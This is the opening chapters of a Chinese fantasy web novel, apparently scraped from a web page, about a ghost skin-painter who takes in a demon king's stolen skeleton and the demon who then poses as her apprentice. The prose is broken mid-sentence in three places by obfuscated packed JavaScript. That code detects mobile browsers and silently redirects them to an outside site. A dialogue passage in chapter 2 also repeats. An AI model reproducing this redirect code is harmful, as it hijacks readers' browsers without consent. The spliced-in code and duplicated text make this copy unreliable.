《妖王他总在自我攻略》 1. 第一章 冥界黄泉路,生死交界处。 夜晚潮湿的雾气混杂着腐烂尸臭未经允许灌入鼻腔,枯木垂落的阴影里传来细碎啃噬声,或许是野鼠在啃食腐肉。 “倒霉啊,怎么都是些骨头碎片......” 少女喃喃自语的抱怨声打破了这份诡异的平静。 说话的人名叫百灵,是冥界一名普通的画皮师,专门给遗容有损的鬼画皮。 画皮比试报名在即,每个画皮师都需要自备一架尸骨,用于现场塑形画皮。 作为无数个出身底层画皮师之一,画皮比试无疑是他们的证道之处。 其实有条件的画皮师会买一具假的,还可以定制想要的款式。 但她惨点,没钱,得深更半夜来这冥界“乱葬岗”捡尸,在这的尸体都是人刚死时遗弃的。 天色渐暗,她接受了一无所获的事实,将画笔和材料收拾好,裹在背篓里一把甩在背后,起身准备离开。 身后传来细碎声响,百灵以为是虫子啃食尸体的咀嚼声,直到裙角被什么东西绊住,拦住她的脚步。 她回头一看,不出所料,又是某某的骨头。 出乎意料,不只是骨头。 百灵俯下身子,蹲在地上,视线上上下下扫视巡逻一圈,而后僵愣在原地。 竟是一具完整的尸骨! 她竟然在七零八碎的尸体碎片里发现了一具完整的尸骨,这跟垃圾堆里挖出金子有什么区别啊! 来不及细想这具尸骨是那个倒霉蛋的,她现在只想把它带回家好好欣赏。 看这完美圆润的头颅! 百灵端起头颅左右端详,看了又看,满意地不得了。 看这超绝比例! 头颅被轻拿轻放下,百灵又瞄准腿骨,以髌骨为支点,向上折叠,髌骨的位置快要逼近肩膀。 鉴定完毕,长腿美男。 百灵怀抱着一截骨头,笑得合不拢嘴。 她拖过歪在一旁的背篓,准备带走他。 嗖嗖扔进几块骨头,她忽然意识到不对劲。 一具尸骨起码有上百块骨头,一股脑打乱了丢进背篓,回去她岂不是要拼到吐血。 现在这副骨头不仅完美,而且位置还该在哪在哪,她只需要做一件事。 把关节等位置连接上! 说干就干,百灵就地取材,动手挖出泥土,糊在需要连接处。 这里的泥土黏性极强,她平日塑形也是取自于此,唯一不足的一点是:奇臭无比! “哕——” 半天没找到木塞子,百灵只能忍住恶心开干。 “哕——” 一声又一声此起彼伏的干呕声中,百灵总算完成了这项艰难的任务。 她双手放在骨架胳肢窝的位置,一下就提溜起来,小心折叠收纳在背篓中。 两脚踩灭柴火,百灵背上背篓,哼着小曲离开了。 骨头架子和背篓偶尔碰撞,发出清脆的响声,似乎在为少女的欣悦伴奏。 少女的背影逐渐模糊,直至完全消失,顺着她离开的方向,一团拳头大小的蓝色火花撕开黑夜幕布,漂浮在夜色之中。 火花左摇右摆,最后停留在原本停放尸骨的上空。 蓝色火花在原地跃动数下,似乎是在感应什么。 片刻后,蓝色火花停止跳动,中心的颜色越来越深,从浅蓝色再到深紫,最后变成鲜艳的红。 谁把我骨头架子偷走了? 任火光颜色如何变化,都无济于事,魂魄和身体之间没有任何的感应,能找到这个位置,也是全凭记忆。 夜风凉嗖嗖吹过,没有实物的火花被吹得凌乱不堪,仿佛迷雾中迷路的旅人,不知所措。 这是一团魂火,没有了躯壳,只能漫无目的的飘荡。 这黄泉路,不仅是人世间和冥界的交界处,同时也是妖界和冥界的结界所在地。 为避免两界纷争,特设此结界,阻止两界来往。 而这团魂火,正是刚从妖界逃往此处的妖王周延玉。 他在睡梦中被偷袭,受了重伤,又被逼到结界,走投无路越过了界限。 一般的妖会瞬间灰飞烟灭,有点修为的也会失去实体,化作一团魂火。 周延玉比较特殊,他修为高,虽不可避免化成了魂火,但躯壳还剩下人形的骨头架子。 通常情况下的妖会选择附身到其他物体身上寄生,但他心理无比排斥,只想回到自己的身体。 离体的魂魄太过微弱,加上重伤在身,一时感应不到身体。 “吱吱——”远处传来老鼠的声响。 几秒的心理斗争后,魂火骤然收缩,凝聚成一点,飞速钻入老鼠体内。 原本正常的小鼠眼底闪过一丝微不可查的红光,随即恢复如常。 周延玉控制着老鼠,爬到了原本尸骨所在位置。 虽不能感应,但他可以通过老鼠接触地面回溯,知晓不久前这里发生的事情。 在老鼠身上能发挥的妖力有限,他只能回溯到声音,没有视觉信息。 “哕——” “……” 老鼠仰起头,脸上露出了茫然的神情。 不信邪又按下了爪子。 “哕——” “?” 周延玉心中泛起不详的预感,除了听取呕声一片,没再有任何有用声音。 难道有鬼或者妖觉得他的尸骨很臭,所以随手扔掉了? 东零西落的尸骨可不好找,而且…… 他的骨头有这么臭吗? 魂火从老鼠体内抽出,四处游荡,试图找出其他线索。 半晌后,魂火飞到一张栩栩如生的人脸面前。 是个白面书生模样,虽不及他十分之一,但也比老鼠好点。 只是这人怎么如此古怪,死了还在笑。 而且脸上一尘不染,面容无一处损坏,身体却破破烂烂,好几处骨头都赤裸裸露在外面。 现在不是挑挑拣拣的时候,周延玉没多想就再次附身在这具身体上。 白面书生甫一睁眼,原本舒展的眉头瞬间皱成一团,伸出一只骷髅手捂住嘴巴,干呕声抑制不住从唇间溢出。 魂火猛然离体,似乎没缓过来,在空中四处扭动。 周延玉驱动魂火,瞬间膨胀数十陪之大,强烈的火花烧坏了白面书生的半张脸,露出了底下之物。 是泥土,湿润的泥土。 相似的呕吐声,四处散落在泥地的尸体碎片。 他心中隐隐有了答案。 臭味是泥土发出的,而这泥土竟有粘合骨头的作用。 周延玉心里五味杂陈,悲喜交加。喜得是他的尸骨可能被哪支鬼完整粘合上了,悲是用臭泥巴黏的。 这是他好不容易化成的人形,其坚韧程度甚至要超过其原型,妖骨即使断肢也可重生。 竟然被沾上了这般污秽恶臭之物! 魂火又寻找到一只老鼠,毫不犹豫钻了进去。 老鼠开始了地毯式的搜索回溯,功夫不负有心人,总算给他找到了蛛丝马迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719251|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他尸骨附近,有一连串规律无比的脚步声。 还有更重要的,骨头相撞的清脆响声,少女得意的欢笑声。 原来是个不知好歹的小鬼偷走了他的身体。 有了线索后,周延玉急切的思绪被安抚不少。 黎明前夕,他的妖力恢复了五成左右,原来失联的感应也随着地平边缘泛起的金光缓缓袭来。 周延玉清晰感受到来自不远处妖骨的召唤。 是时候了。 魂火混入空气之中,无视任何地形或是物体的阻挡,一弹指的功夫,就来到了感应处。 眼前这个由稻草和泥土堆砌而成的简陋小屋,就是罪魁祸首的藏身处。 而他心心念念的妖骨,正以一种极其屈辱的姿势固定在门扉上时,呈一个巨大的“大“字被钉在门上。 怒火瞬间涌上心头,隐形的魂火也立刻显形,化作数十米高的红火火海。 怒气幻化成火舌喷涌而出,带起四溅的火花,滴答滴答落在地上,草木枯萎,原本平整的地面也迅速被腐蚀陷落,凹出一个又一个大小不等的浅坑。 周延玉怒不可遏,他要烧了这个屋子,还要这屋里的人! 火海包围住这个小屋子,眼前就要整个将其吞没。 “吱呀——”门突然从里面打开了。 激荡的火海顷刻间灰飞烟灭。 周延玉看见一个睡眼朦胧的少女从屋内走了出来。 见她毫无惧怕之色,周延玉更加气馁,恨不得原地烧死她。 之所以会停下来,是迫不得已,他发现自己的魂火差点把妖骨烧坏了。 没有妖力的支撑,这副骨头似乎只是比正常的骨头更坚韧些,虽没有立刻化为齑粉,但还是有部分被烧黑了。 方才是他情绪失控,应该先把骨头移出来再烧的。 周延玉并未离开,他在静静等待猎物离开,放松警惕,然后重新实施绞杀。 站在门口的百灵揉了揉眼睛,丝毫察觉不到近在身边的危险。 她又抬头望了眼天空,确定才刚天亮。 那她在床上看到的红光是什么东西?天降异象吗? 一瞬间坠入岩浆的炽热感难道是她的错觉吗? 还有奇怪的味道…… 不对,不是错觉。百灵分明闻到了浓烈的烧焦味,室内不那么明显,出来之后就浑身充斥着这种味道。 走了两步,她很快发现了地上被腐蚀的小坑,伸手还能感觉到不断蒸发的热气。 始作俑者饶有兴趣看着猎物的举动,期待她露出慌张的神情。 如他所料,下一秒,百灵就慌忙折返,察看挂在门上的骨架子。 骨架上明显烧黑的痕迹,如刺目的伤痕,倒映在少女震惊的双眸之中。 百灵的眼圈瞬间红了。 她冲上前,手忙脚乱地卸下钉子,当骨架失去支撑倒下时,她毫不犹豫地张开双臂将其紧紧拥入怀中。 头颅磕在她瘦弱的肩膀上,很痛,但她抱得更紧了。 “小骨……”她轻拍着骨架的肋骨,声音带着心疼的颤音,“对不起,我马上给你做新身体,再也不会让你受伤了。” 小骨的主人,正在一旁看着自己的骨架,被少女轻拥入怀,又细语安慰。 周延玉有些看不明白了。 他原本滔天的怒火,在此刻骤然一滞。 他本以为这小贼会拿他的骨架撒气,却万万没想到,是这般珍而重之的场景。 还一口一个小骨哄着唤着...... 2. 第二章 半晌,门口垂首跪地的少女,猛然抬起头,扯着嗓子大声喊道:“哪个杀千刀干的,给我出来!” “别等我找到你,肯定把你千刀万剐,然后丢到忘川河里去魂飞魄散,永世不得超生!” 连着发泄大骂两句,百灵的怒气缓解了大半。 一定是哪个嫉妒她的同行蓄意报复,想烧掉她的完美骨架,百灵发誓逮到了这个人一定不会放过他。 “......” 周延玉被这一嗓子吼懵了。 她到底是想拿他的身体做什么,怎么比他这个主人还要护犊子。 带着疑惑,周延玉保持魂火的形态,紧紧跟随少女脚步,穿过门扉,进入了屋内。 他一进门就盯上了屋内角落一副颇具人形的身体。 面容清俊,五官端正。 这是出自她之手吗?看着还不错呢...... 对了,她刚才说要给自己做新的身体,难不成她是个画皮师? 周延玉只听说过冥界有这样职业的鬼存在,没想到进来第一天就让他遇上了。 “唉......”百灵一边擦拭骨架上的痕迹一边感叹,“真是倒霉啊,得赶紧找个学徒帮我看家,免得招人眼红。” 今年画皮比试的规则比较特殊,每位画皮师需得带上一名学徒参加。 学徒,她需要学徒吗? 周延玉身为妖界之首,自然没有屈于人下当学徒的心思。但是一个不起眼的学徒身份恰恰能为他的真实身份进行掩护。 而且还能监督此人修复自己的身体,两全其美。 堂堂妖王给一个小鬼当学徒,真是便宜她了...... 首先他需要一副临时的身体。 周延玉没有犹豫,直接凝成一点奔向角落,从假人的眉心探入,试着和这具身体融入。 不错,除了因身型限制略微有些束手束脚,其他都挺合适。 久违的掌控感于心间翻涌,胸腔中心脏规律跳动,周延玉抑制不住心中喜悦,想动动这副新身体。 他双腿暗暗发力,妄图向前走两步。 但他忘了一个重要的事,这副身体的手和脚并不完整,几乎都是骨头架子,没有泥土的稳定支撑。 成功迈出左脚后,周延玉又提起右脚,在即将接触地面的刹那,猝不及防踩空了。 “砰!” 事发突然,他唯一能做的就是尽快复原成泥人的原始姿势,紧急调整,挺直起身子。 忙于擦拭骨架的百灵终于察觉到了角落的动静,她赶忙洗干净手,随手在围裙上抹了两步,起身朝着角落走去。 “看来还是不能偷懒。”百灵用力抱住泥人的躯干,艰难起身道,“改天一定把脚上的泥巴糊上。” 被百灵一把抱住的周延玉立刻变得僵硬无比,绷紧了四肢,不自然的生理反应正好符合了假人的特性。 好不容易摆正了泥人,检查脸上有无破损时,百灵察觉到了异常。 怎么是闭着眼睛的? 她记得很清楚,这双眼睛费了她不少功夫绘制,而且她从来没有画过闭眼的样子,从来都是要么画,要么不画。 太奇怪了…… 周延玉此刻慌得心神不宁。 她发现了?为何一直盯着?莫非自己……该主动打个招呼? 二人僵持着,大眼瞪小眼。最终是周延玉先扛不住,眼皮一颤,眨了一下。 百灵彻底愣住,光天化日,她亲手捏的泥人,竟真的活了? 周延玉见她仍无动静,几乎要撑不住这诡异的寂静。 这人究竟怎么回事?既已看穿,还装什么? “那个……你要学徒不?”话一出口,周延玉自己先窘住了。 他本想迂回,结果张口竟如此直白。 百灵瞳孔微缩。 “那个……你要学徒不?”话一出口,周延玉自己先窘住了。 他本想迂回,结果张口竟如此直白。 百灵瞳孔微缩。 若非神智清醒,她一定以为自己在幻听。这泥人不仅活了,竟还会说话? “你……是个什么东西啊?”她试探道,语气里满是谨慎。 可这话落在周延玉耳中,却如针刺,天知道他问出那句话是有多艰难。 冥界除了鬼,还能有什么?鬼又怎能附身死物? 是妖吗? 百灵慢慢捋清思绪,猜想这可能是一只妖。 听说妖怪进入冥界会失去身体,但只是失去了身体。 如果他们的魂魄需要寄托,只得依靠附身。 “你是妖怪吗?”百灵的语气坚定了几分,“你是迷路了,然后不小心穿过边界吗?” 看来此人没有恶意,还贴心替他想好了借口。 “是的。”周延玉他顺水推舟,语气放软,“我没地方去,能留下来当你的学徒吗?” “你怎么知道我需要一个学徒呢?”百灵反问。 “我刚才在这个身体里听见的。” “哦......”百灵缓缓点头,和善地上下打量着这个不速之客。 “要当我的学徒可是很辛苦的。”百灵盯着周延玉意味深长道,“你可以吗?” “我可以的。”周延玉装出一副诚恳模样。 “那好吧,我提前跟你说清楚了,作为我的学徒呢,得听我的话,绝对不能违抗我的命令,明白吗?” “明白。”周延玉隐隐觉得有些不对劲,只能扯出个僵硬的笑。 “这些不过是前提。”百灵眼珠一转,继续道,“我清醒的时候你要在我身边时刻待命,我睡着的时候你不许睡,要守夜看家,一旦我发现你偷懒,就要把你赶出家门。” “......是。”周延玉垂眸,心头升起一股怒火。 这是什么不讲理又霸道的鬼啊。 妖怪之间的相处方式简单粗暴,不服就打,打了就服。他打小就听爹娘说人心险恶,诡计多端,难以相处。 看来果然如此。 “还有啊......”百灵越说越起劲,用最柔的语气说着最狠的话,“我心情不好的时候是喜欢打人的,用鞭子抽的那种,从小我家人都由着我的性子来,你自然也不例外,若是我发脾气了,你千万不能躲,知道吗?” ?? 周延玉被气得失声。 他开始质疑这个盲目的决定,掩藏身份的方法难道只有这一种吗?他何必让自己受这样的气,和这样一个疯子在一起? 空气中的温度陡然升高,周延玉又动了想杀了她的念头。 他眼中的杀意毫不避讳地流露,无声警示着百灵别再得寸进尺。 可眼前的少女却不慌不忙,反而迎着他的目光,眉眼一弯。 “装不下去了吧?”百灵冷哼一声,收敛住笑意,“我知道火是你放的,你也压根不想当我的学徒,对吧?” 周延玉怒意一滞。 本来百灵以为捣乱的人是她的同行,可是仔细一想,谁能有这么大的能耐,能把地都烧出个洞来。 而且还能收放自如,控制火势。 她就想这妖怪哪里来的如此蹊跷,肯定是那纵火者。 还伪装成要当她的学徒,如此心机深沉。 不得不承认,妖怪和鬼之间有着天壤之别,以这个妖怪的能耐,完全可以现在就烧死她。 虽然她已经是鬼死不了,但也免不得受一番折磨。 百灵明白他们之间的差距,所以更不会示弱,让妖怪误以为她是个好欺负好拿捏的。 说到放火,周延玉怒气消了大半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719252|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟这一点上,他确实理亏。 “你是怎么知道的?”他好奇问。 “你现在不承认了吗?”百灵笑着答道。 “......”这人简直比狐狸还狡猾。 “是我放的,你想怎么样?”周延玉犹自嘴硬道。 “这话应该我问你吧?”百灵失笑,“你想怎么样啊,这是我家,是冥界,鬼的地盘,你明白吗?” “你们这些妖怪再厉害又如何,到了我们冥界,没了身体,还不是得东躲西藏,四处寄居。” 百灵咄咄逼人。 “你错了。”周延玉试探扳回一局,“普通的妖怪才需要东躲西藏,但是我不用,只要我想,你随时就能化作灰烬。” “但是你不想。”百灵直接迎上他的目光,“如果你要这么做,早就把我和房子一起烧掉了。” “当然,我只是在提醒你。”周延玉也不装了。 实际是威胁。 “那我也得提醒提醒你,现在需要身体的人是你不是我。”百灵开始同他拉扯,“一个学徒而已,我随随便便就能找到。” “你也不过只是个画皮师,难不成我非你不可吗?”周延玉反问。 两个人你来我往,谁也不愿自己落了下风。 “当然了,我可不是一般的画皮师,我做出来的身体,不仅外形美观,而且坚固耐用。”百灵自信且得意。 她话锋一转,继续输出:“更重要的是,我曾经给你们这些妖怪做过数不清的身体,你知道吗?你们妖怪的身体可难做了,不仅要像人,还要保留野性,我估计整个冥界,只有我这个画皮师能干这么刁钻的活。” “你给妖怪做过身体?”周延玉显然被她后半段话说动了。 “这有什么好奇怪的,我时常去乱葬岗寻别人不要的骨头,那里总有些可怜小妖附身在脏臭的老鼠身上,求我给他们做个身体。” 老鼠..... 周延玉相信了。 “我知道对于你们来说,身体不重要,身份才是最重要的,这样才能安安稳稳在冥界呆下去,那些经过我的妖怪,至今没有一个暴露自己的。” 百灵的话每一句都精准戳在了周延玉的痛点上,无论是身体,还是隐藏身份。 “我想要你昨夜带回来的那堆骨头,做我的新身体。”周延玉选择了妥协,语气也放缓许多,“作为交换,我做你的学徒。” 就目前的情况而言,他确实更需要百灵。 “那你听好了。”拿回主动权的百灵理直气壮,“我现在以师父的名义,要求你做我的学徒,而不是你要求我,明白吗?” “......明白。”半晌,这两个字才从他喉间挤出来。 人在屋檐下,不得不低头。 百灵心中喜悦,没想到自己胡编乱造的话,竟真把这个妖怪唬住了。 乱葬岗那个臭气熏天的地方,她怎么会时常去呢?而且她自己一穷二白的,哪有好心给妖怪做身体? “看来你还有点眼光,是个识货的。”百灵转头看向椅子上耷拉的骨架,眼里充满了欣赏,“这可是我从业以来见到过最完美的骨架,可以想象其主人生前是何等绝世模样。” “是吗?”周延玉看似在漫不经心反问,实际内心暗爽,不由自主挺了挺胸膛。 “不过嘛……”百灵话锋一转,嫌弃道,“给你是有些浪费了,大材小用。” “……” “我希望,你能按我的意思来做这个身体。”已经委屈自己做了学徒,周延玉需要给自己找回一点主动权。 “可以,都听你的。” 百灵向来擅长“阳奉阴违”的。 被外行不合理的要求指手画脚多了,自然学会了怎么表面积极响应,实际我行我素了。 3. 第三章 “你是男是女?”百灵问。 “女。” 周延玉不愿意透露太多和自己有关的真实情况。 “女的……”百灵对她的性别并不惊讶,只是捡回来的骨架明显是个男人啊。 尽管她只是飞速瞥了眼旁边的骨架子,周延玉依旧敏锐捕捉到了这点小动作,并且猜到她的顾忌。 “性别不重要,身体好用就行。” “你想要个怎样的身体?”虽然是决定权在自己,但怎么也得装装样子。 憋了半天,周延玉认真道:“要有王的气派。” “……” 百灵语塞,还以为他能有什么独到的见解。 也不知道这妖怪活了几百年了,审美如此老土。 “俗,俗不可耐。”百灵辛辣点评,看向周延玉的眼神一言难尽。 这种模棱两可的要求也是最难做的,毕竟君王也是有着不同种类的。 周延玉大受打击,他的品味有这么差吗? “可我就想要这样的。”周延玉不愿放弃。 真是要命。 百灵放弃了和这个土老帽争论的想法,扯着一张职业假笑脸答应了他的要求。 为避免这个妖怪再抽风,百灵提议先替她把这副不完整的身体补全。 毕竟捏好一具高要求的完整身体需要很长时间,在这之前,只能在这副身体里先将就了。 顶着行动不便的骷髅手和骷髅脚,周延玉只能点头应允。 在地上铺好雕刻所需的刀具和一大坨没形的软土,她让小骨抬起一只手放在案板上,准备开始专心劳作。 “砰砰砰——” 才捏好手的大致形状,门外就传来剧烈的敲门声。 “啧...”百灵不耐烦哼唧一声,放在手里的小刀,起身去开门。 哪个没礼貌的家伙啊! 她一把拽开门,映入眼帘的是一个络腮胡大汉,一身肥膘肉随着呼吸震颤起伏,眼珠子不老实地左右来回旋转。 是卖肉的屠夫,大家都喊他油爷,因为他总长得胖,每日剁肉身上总是油腻腻的。 之前他说自己可以给百灵搞一副低价骨架子,让百灵考虑考虑。 但百灵想肯定是用猪骨头拼起来的骨架,还是算了。 “灵丫头,上好的骨架子到了,我给你带来了,瞅两眼如何?”油爷笑得很谄媚。 “不用了,你请回吧。”百灵一点不客套,开口就是送客。 油爷的人品臭名远扬,卖肉常缺斤少两,若不是走投无路,百灵也不会向他打听骨架。 “有事好商量嘛。”油爷死皮赖脸,继续道,“我看你有眼缘,这个骨架子就送你了!” 百灵讶然,不可置信。 要不是已有完美骨架,她倒是真想看两眼,不要白不要。 见她未立刻拒绝,油爷悄然上前一步,色眯眯道:“只要你让我香两口......” 油爷说着,那张泛着油光的脸就凑了过来,带着浓烈的肉腥和汗臭味。 百灵强忍恶心,猛地后退一步,厉声道:“油爷,请你自重,拿着你的东西立刻离开!” 她指向门外,语气斩钉截铁。 油爷脸上的谄媚转瞬即逝,取而代之的是恼羞成怒的威胁,仗着自己的体型欺身上前,双臂张开,堵住百灵的退路。 “小贱人,别给脸不要脸。”他压低声音,继续胁迫道,“从了我,别说一副骨架子,油爷命都给你......” 百灵心中怒气升腾,仅存的一丝理智告诉自己,不要和他硬碰硬。 她担心油爷被她惹恼,发疯乱砸她屋里的东西,尤其是那副完整珍贵的骨架。 小骨已经因为火烧而灼伤,她绝不允许再有一丁点的损坏。 “油爷。”她深吸一口气,极力隐忍,尽量缓声道,“我最后说一遍,你的骨架我不需要,我家中有贵客在,请你离开。” “哈哈哈——”油爷笑起来时脸上的肉挤在一起,一张大嘴里满口黄牙,满不在意道,“想威胁我是吧?” “你独来独往,哪来的贵客来你这个小破地方做客啊?” “人家都说黄泉路边住了个画皮疯子,我看也不过如此嘛?送上门的骨架都不要,我看你做梦都别想参加画皮比试,和你那堆臭骨头过一辈子去吧!” 百灵的忍耐到了极限,脸色阴沉似一滩死水,裙边的手指微微发颤。 少女的无声的抗诉落到油爷眼中却成了兴奋的催化剂。 他淫邪上下打量百灵,而后伸出一只肥手径直摸向她白皙的脸颊。 “啊——!” 在那只咸猪手即将触碰到皮肤的霎那,百灵果断出手,常年干活覆有薄茧的手指精准掐住油爷的手臂关节,扣住他的麻筋发力狠狠一捏。 油爷整个人被这突如其来的电击感刺激地大叫一声。 百灵乘胜追击,握拳使劲对准他的鼻梁猛击一下,鼻梁骨破碎的声音清晰可闻。 她没就此停手,收拳回来的间隙提腿向油爷的要害又是一记重踢。 三个动作配合默契,行云流水,油爷疼地滚在地上左右乱窜,活像一只过年待宰的猪。 她清楚知道自己的力气肯定没有油爷大,但她也不是吃素的。 面对这样靠蛮力的大块头,以柔克刚是最好的选择。 不清楚猪的构造,人体的构造和脆弱之处她可是一清二楚。 作为画皮师,她更清楚要修补这些地方,可得花上一笔大价钱。 百灵捡起地上一块肮脏布匹包裹起的骨架,也就是油爷口中的所谓“上好的骨架”。 她拿出其中一块有半个手臂长的骨头,戏谑一声道:“果然是猪骨头,剔地真干净,肉都没了。” “拿回去炖汤补补身子吧。” 百灵随手将骨头丢到油爷身上,动作自然地像施舍一条流浪狗。 被一个小丫头偷袭,受此奇耻大辱,油爷莫名其妙的自尊心忽而高涨,忘记了疼痛般摇摇晃晃艰难站起身。 百灵歪着头,饶有兴致等待他下一步行动。 下一秒,只听见眼前人壮胆似的大喝一声,随即爆发一股蛮力向前横冲直撞。 一堵肉墙猛然朝她袭来。 这个吨位的重要撞上来,百灵就是不死也够呛的。 她靠着灵活的身手侧身闪开。 门一直没锁,只是虚虚掩着,受惯性的指引,油爷直接连门带人一头栽进了室内。 “砰”的一声,尘土飞扬。 ! 百灵心道不妙,着急忙慌进门察看小骨。 还好,她放的位置较深,差一点就要被刮蹭到。 油爷浑身的骨头仿佛濒临散架, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719253|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一座被抽掉骨头的肉山轰然匍匐在地,仍不服气撑着手抬起头。 却看见意料之外的场面。 一副修长完整的成人骨架正坐在他正对面的椅子上,旁边是站着的少女,弓着身子微蹙着眉头察看骨架。 因为没有受力点,骨架的脑袋斜斜依靠在少女的胸前,黑漆漆的眼眶骨深不见底,似乎在嘲讽地上狼狈无比的他。 怎么可能?她说的竟是实话! 她是怎么得到这样一副栩栩如生的完整骨架的? 油爷原地喘着粗气,发出咯咯的刺耳又难听的笑声。 “我说呢,你还跟我立什么牌坊,原来早就不干净了,是陪睡了多少个男人才换来的东西?” ?? 百灵气笑了,这人真是不见棺材不落泪。 她一声不吭走至油爷身后,然后单膝跪倒在他背后。 一手按住他右手后臂,一手抓住前臂的手腕。 “你想干嘛?放开我!”油爷终于察觉到不对,当即开口嚷嚷。 “你该学着用左手剁肉了......” 话音刚落,骨头错位的喀嚓声和一声非人的、凄厉到变调的惨叫响彻整间小屋。 “啊啊啊,我错了,放过我,再也不敢了......” 钻心的疼痛使油爷认清形势,哭喊着向百灵求饶。 百灵丝毫不心软,伸手拽住他的头发扯道:“若还敢有下次,或是让我听到你对别人手脚不干不净的,我定用刀子一刀一刀剜了你,叫你痛不欲生又生不如死。” “听明白没?” “明白了明白了!” 保险起见,百灵留下了油爷带来的那堆骨头,还让他脱下身上的衣物,作为骚扰她的证据,免得这小人又想在背后使绊子。 她还书信一封,让油爷写下认罪书,承诺不再犯并且要赔偿他弄坏的门。 一切料理妥当,百灵才后知后觉地意识到一件事。 从她出门应对油爷到现在,屋内那个妖怪,竟没有发出丝毫动静。 案桌上的泥人姿态僵硬,一动不动。 “该不会是……吓晕过去了?”她挑眉,心头掠过一丝荒谬的猜想。 她并不知道,一团看不见的魂火,始终如影随形,悬浮在她身侧。 从她踏出门的那一刻起,周延玉便离体潜藏,将方才那场风波尽收眼底。 他静静看着她如何利落反击,如何寸步不让,如何于弱势中爆发出惊人的魄力。 妖界崇尚力量,敬服勇气。 此刻,周延玉心底涌起的,正是一份意料之外的赞许。她算不上强大,但这份临危不乱的胆色,远比许多大妖更配得上强大二字。 尤其是她护住那副妖骨时,眼中毫不掩饰的急切与珍视,他都一一看在眼里。 百灵揉了揉发胀的额角,目光扫过安静的泥人,忍不住压低声音嘀咕:“真是个没用的胆小鬼。” ?? 胆、小、鬼? 说谁! 一旁的魂火猛地一滞,随即剧烈翻涌,幽蓝的光焰骤然膨胀了数倍,又在下一秒被他强行压回原状,硬生生憋成了一团更小、更凝实的光球。 一怒之下,他怒了一下。 ……罢了。 周延玉深吸一口不存在的清气,决定不与这无知无畏的小鬼一般见识。 4. 第四章 冥界幽都,芜月楼。 芜月楼地处幽都最繁华地带,既是一座吃饭喝酒的场所,也能听曲赏舞,以楼为中心,两边的屋宇鳞次栉比,有茶坊、酒肆、肉铺,挑担的小贩,甚至还有杂耍的艺人。 “白夭夭,有人找!” 阁楼里的少女听到叫喊声,忙从楼上三步并两步,飞速下了楼梯。 现下是申时一刻,已经过了芜月楼的用膳高峰,只有歌舞奏乐之人还在忙碌,作为芜月楼帮工的白夭夭也得以短暂歇息。 一身绛红色布衣的少女蝴蝶采花般从楼上一路蹦蹦跳跳飞了下来。 “灵姐!我就知道是你!”白夭夭对着门口百灵挥手道。 百灵闻言后,也向她走近。 “灵姐,你都不知道,我盼星星盼月亮总算是把你给盼来了......” 夭夭长着一张椭圆鹅蛋脸,带着些许稚气,双目犹似一泓清水,黑曜石般的眸子宛若明月般映入其中,随着语调起伏,荡起一圈又一圈涟漪。 她今年十七,比百灵小两岁,她性子活泼,百灵一直将她当作妹妹看待。 几天前夭夭来信告知她画皮比试需带上学徒,顺便叮嘱百灵帮她补发。 补发是因为是她和来店里闹事的混混打架,不小心被对面扯掉了一大片头发。 “好了,我等会还要急着赶回去,去你房间我给你补发吧。” 百灵没功夫和她叙旧,她家住的偏僻,来回一趟要费不少功夫。 这次进城一趟,一是为了给夭夭补发,还有就是去老顾主那要之前的工钱。 进房间后,百灵拿出针和头发,为夭夭缝制。 她头上的头皮曾经补过,不是自己的皮肤,所以不会痛。 “灵姐我和你说,姓叶的太贼了!本来我这头发是想去他的画皮坊里补的,怎么说我也是为了维护芜月楼的名声才受伤的,结果他笑着答应我,扭头却说要从我的工钱里扣,这守财奴!” 补发时夭夭无聊,有一搭没一搭和百灵说话。 叶知舟是芜月楼的老板,白夭夭从一个无家可归的流浪汉到芜月楼的帮工杂役,正是他的功劳。 但白夭夭并不领情,认为叶知舟是在作秀,因为他打着施恩的名号招进来了不少乞丐,她就是其中一个。 若不是百灵劝她,她才不乐意来。 百灵干活的时候很专心,夭夭叽叽喳喳的说,她只匆匆过一遍耳后随口附和了两句。 “嗯嗯,他确实过分……” 其实叶知舟也有过出手阔绰的经历,但百灵不好说,怕白夭夭听了更加难受。 他曾给百灵开出高价要她在自己家的画皮坊工作,但百灵拒绝了。 那个时候百灵的姐姐百会投胎的事已经上了日程,留在冥界的日子不多了。 如果答应叶知舟,就不能经常回家陪伴姐姐。 而且她习惯了自由自在的,不喜欢收到约束,虽然赚的不多,但可以自己决定给谁画皮,不用服务讨厌的人。 而白夭夭就是她曾经帮忙画过皮的扒手,不过她现在已经改邪归正不干这行了。 这芜月楼的老板叶知舟也是筹办画皮比试大赛的负责人。 